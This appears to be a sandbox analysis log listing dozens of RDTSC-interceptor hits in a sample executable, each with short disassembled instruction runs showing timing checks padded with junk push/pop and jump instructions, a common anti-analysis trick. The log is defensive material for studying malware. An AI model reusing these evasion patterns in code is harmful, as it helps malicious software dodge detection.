Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A7BEC second address: 2A7C05 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 pushad 0x00000011 jno 00007FC6DD698E56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A71F4 second address: 2A71F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A8004 second address: 2A8025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC6DD698E77h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC6DD698E65h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2A8025 second address: 2A8029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2AE5EB second address: 2AE5F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2AE74C second address: 2AE778 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC6DD08F79Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007FC6DD08F796h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007FC6DD08F79Ch 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2AE778 second address: 2AE7A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E65h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC6DD698E60h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2AE92B second address: 2AE92F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2AE92F second address: 2AE933 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2B0F3F second address: 2B0F43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 21E2F5 second address: 21E2FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 21E2FB second address: 21E300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2B608D second address: 2B6097 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2B637F second address: 2B6383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2B6805 second address: 2B680C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2B680C second address: 2B6814 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D41D second address: 26D427 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D427 second address: 26D4CC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FC6DD08F796h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], eax 0x0000000e xor dword ptr [ebp+12460038h], ebx 0x00000014 mov dx, 6D53h 0x00000018 mov ebx, dword ptr [ebp+12498568h] 0x0000001e push 00000000h 0x00000020 push edi 0x00000021 call 00007FC6DD08F798h 0x00000026 pop edi 0x00000027 mov dword ptr [esp+04h], edi 0x0000002b add dword ptr [esp+04h], 00000017h 0x00000033 inc edi 0x00000034 push edi 0x00000035 ret 0x00000036 pop edi 0x00000037 ret 0x00000038 mov ecx, dword ptr [ebp+122D2E2Fh] 0x0000003e add eax, ebx 0x00000040 add edi, dword ptr [ebp+122D1D83h] 0x00000046 push eax 0x00000047 jmp 00007FC6DD08F7A8h 0x0000004c mov dword ptr [esp], eax 0x0000004f mov dword ptr [ebp+122D338Bh], ecx 0x00000055 push 00000004h 0x00000057 jnp 00007FC6DD08F7A9h 0x0000005d jmp 00007FC6DD08F7A3h 0x00000062 nop 0x00000063 jp 00007FC6DD08F7A2h 0x00000069 push eax 0x0000006a pushad 0x0000006b push eax 0x0000006c push edx 0x0000006d jno 00007FC6DD08F796h 0x00000073 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26D4CC second address: 26D4E3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC6DD698E5Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2B69D3 second address: 2B69E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FC6DD08F796h 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2BCEBF second address: 2BCEC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2BCEC9 second address: 2BCECD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2BC5E0 second address: 2BC5FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FC6DD698E66h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2BC5FC second address: 2BC633 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC6DD08F7A7h 0x00000008 jmp 00007FC6DD08F7A1h 0x0000000d push eax 0x0000000e push edx 0x0000000f ja 00007FC6DD08F796h 0x00000015 jmp 00007FC6DD08F7A6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C2E68 second address: 2C2E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CA7F5 second address: 2CA80E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Fh 0x00000007 jbe 00007FC6DD08F796h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C8A92 second address: 2C8A96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C8DF5 second address: 2C8DFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C8DFD second address: 2C8E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C8E01 second address: 2C8E13 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c jno 00007FC6DD08F796h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C90C9 second address: 2C90DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD698E5Eh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C9D0D second address: 2C9D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FC6DD08F796h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FC6DD08F7A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C9D31 second address: 2C9D35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C9D35 second address: 2C9D3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C9D3B second address: 2C9D41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2C9D41 second address: 2C9D45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CA02A second address: 2CA034 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CA2C6 second address: 2CA2D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FC6DD08F796h 0x0000000a jns 00007FC6DD08F796h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CD78F second address: 2CD799 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CD799 second address: 2CD7A5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CD7A5 second address: 2CD7AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CD7AB second address: 2CD7B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CD936 second address: 2CD968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 jmp 00007FC6DD698E5Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007FC6DD698E67h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CD968 second address: 2CD97E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CDCAD second address: 2CDCB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2CDCB3 second address: 2CDCBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2D304B second address: 2D3075 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC6DD698E68h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FC6DD698E58h 0x00000011 push ecx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 22828F second address: 228293 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DAD4E second address: 2DAD52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DAD52 second address: 2DAD69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC6DD08F79Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DAD69 second address: 2DAD73 instructions: 0x00000000 rdtsc 0x00000002 je 00007FC6DD698E5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DB30E second address: 2DB324 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 je 00007FC6DD08F796h 0x0000000b pop esi 0x0000000c jng 00007FC6DD08F79Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DB749 second address: 2DB762 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jg 00007FC6DD698E5Ch 0x0000000b jnp 00007FC6DD698E5Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DB8C1 second address: 2DB8C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DB8C7 second address: 2DB8CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DC0C7 second address: 2DC0D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnp 00007FC6DD08F796h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2DC0D3 second address: 2DC0D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2E1D52 second address: 2E1D58 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2E1D58 second address: 2E1D5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2E1E94 second address: 2E1E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2E201C second address: 2E2020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EDFF1 second address: 2EE004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 jg 00007FC6DD08F796h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EE004 second address: 2EE008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EDD18 second address: 2EDD31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push edi 0x00000008 jmp 00007FC6DD08F7A0h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EDD31 second address: 2EDD3B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FC6DD698E5Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EF6EC second address: 2EF6F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EF6F0 second address: 2EF6F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2EF6F4 second address: 2EF707 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jno 00007FC6DD08F796h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F425B second address: 2F4269 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC6DD698E56h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F4269 second address: 2F426D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F426D second address: 2F4271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F4271 second address: 2F427D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC6DD08F796h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F427D second address: 2F429F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jno 00007FC6DD698E56h 0x0000000a jmp 00007FC6DD698E68h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F9E93 second address: 2F9E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F9E99 second address: 2F9E9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2F9E9D second address: 2F9EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007FC6DD08F796h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2FE830 second address: 2FE836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2FE836 second address: 2FE85F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F7A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FC6DD08F79Dh 0x00000011 popad 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 2FE85F second address: 2FE875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FC6DD698E5Bh 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 303931 second address: 303936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30A412 second address: 30A445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E5Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FC6DD698E69h 0x0000000e jc 00007FC6DD698E5Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30A445 second address: 30A45C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 jo 00007FC6DD08F796h 0x0000000e pushad 0x0000000f popad 0x00000010 je 00007FC6DD08F796h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30A89B second address: 30A8A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC6DD698E56h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30A8A5 second address: 30A8A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 26A80D second address: 26A82B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FC6DD698E68h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30ACB7 second address: 30ACED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC6DD08F7A9h 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FC6DD08F7A3h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30F0DC second address: 30F0E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30F0E4 second address: 30F123 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD08F79Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FC6DD08F7A9h 0x00000010 jmp 00007FC6DD08F7A5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 30F123 second address: 30F134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jo 00007FC6DD698E60h 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 31831A second address: 31833F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push esi 0x0000000a pop esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FC6DD08F7A4h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 31833F second address: 318356 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC6DD698E63h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 319ECE second address: 319ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 319ED6 second address: 319EDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RZnZbS97dD.exe	RDTSC instruction interceptor: First address: 319EDB second address: 319EE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
